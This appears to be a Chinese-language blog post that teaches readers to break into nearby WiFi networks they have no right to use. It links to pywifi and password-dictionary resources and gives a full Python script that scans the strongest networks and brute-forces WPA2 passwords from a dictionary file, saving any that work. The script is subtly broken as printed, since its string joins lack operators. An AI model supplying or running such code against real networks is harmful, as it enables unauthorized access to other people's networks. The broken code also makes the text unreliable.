破解wifi密码
你有没有因为网费的问题,没装网络,紧靠手机过日子,有没有附近有很多WIFI,你却用不了,是不是很痛苦,是不是很难受
接下来我就教你三部曲
代码语言:javascript复制1. [pywifi模块简介](https://blog.csdn.net/zjy18886018024/article/details/84846843)
2. [pywifi模块简介2](https://blog.csdn.net/qq_41185868/article/details/80396915?utm_source=blogxgwz7)
3. [字典表下载博客](https://www.cnblogs.com/lifengfneg/p/5992649.html)
代码语言:javascript复制#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
使用暴力破解法破解wifi密码
需要从网上下载wifi密码字典
可行性并不高
"""
import time
# 破解wifi库
import pywifi
from pywifi import const
class PoJie(object):
def __init__(self, path):
# wifi密码字典文件
self.file = open(path, 'r', errors='ignore')
# 抓取网卡接口
wifi = pywifi.PyWiFi()
# 抓取第一个网卡
self.iface = wifi.interfaces()[0]
# 测试连接时断开所有的链接
self.iface.disconnect()
time.sleep(1)
self.alist = self.initialssidnamelist()
# 测试是否处于断开状态
assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
def bies(self):
# 扫描
self.iface.scan()
# 获取扫描结果
bessis = self.iface.scan_results()
alist = []
for data in bessis:
alist.append((data.ssid, data.signal))
# 按信号强度排序
return len(alist), sorted(alist, key=lambda st: st[1], reverse=True)
def getsignal(self):
while True:
# 获取所有的wifi
n, data = self.bies()
time.sleep(1)
if n is not 0:
# 如果数量不为0,返回前10个信号最好的
return data[0:10]
def initialssidnamelist(self):
ssidlist = self.getsignal()
namelist = []
# 获取前10个wifi的名称
for item in ssidlist:
namelist.append(item[0])
return namelist
def readPassword(self, ssidname, myStr):
# 测试wifi名和密码是否匹配
bool1 = self.test_connect(myStr, ssidname)
if len(myStr) < 8:
return False
if bool1:
# 保存密码和wifi名到文件中
save_password_to_file(myStr, ssidname)
print('------------------------------------------------密码正确: ' myStr '-----' ssidname)
return True
else:
print('密码错误: ' myStr ' ' ssidname)
return False
def test_connect(self, findStr, ssidname):
"""
测试连接
:param findStr: 密码
:param ssidname: wifi名
"""
# 创建wifi链接文件
profile = pywifi.Profile()
# wifi名称
profile.ssid = ssidname
# 开放网卡
profile.auth = const.AUTH_ALG_OPEN
# wifi加密算法
profile.akm.append(const.AKM_TYPE_WPA2PSK)
# 加密单元
profile.cipher = const.CIPHER_TYPE_CCMP
# 密码
profile.key = findStr
# 删除所有的wifi文件
self.iface.remove_all_network_profiles()
# 设置新的链接文件
tmp_profile = self.iface.add_network_profile(profile)
# 连接
self.iface.connect(tmp_profile)
time.sleep(2)
# 判断是否已经连接上
if self.iface.status() == const.IFACE_CONNECTED:
isOk = True
else:
isOk = False
self.iface.disconnect()
time.sleep(1)
# 检查断开状态
assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
return isOk
def run(self):
while True:
myStr = self.file.readline()
for ssidname in self.alist:
ret = self.readPassword(ssidname, myStr)
if ret:
raise FileExistsError
def __del__(self):
self.file.close()
def save_password_to_file(myStr, ssidname):
with open('password.txt', 'a') as fp:
fp.write(str(myStr) '-->' str(ssidname))
if __name__ == '__main__':
# 密码字典文件所在路径
path = 'E:WIFImmzidianbaoWIFI955M.txt'
start = PoJie(path)
start.run()
人生苦短,我用python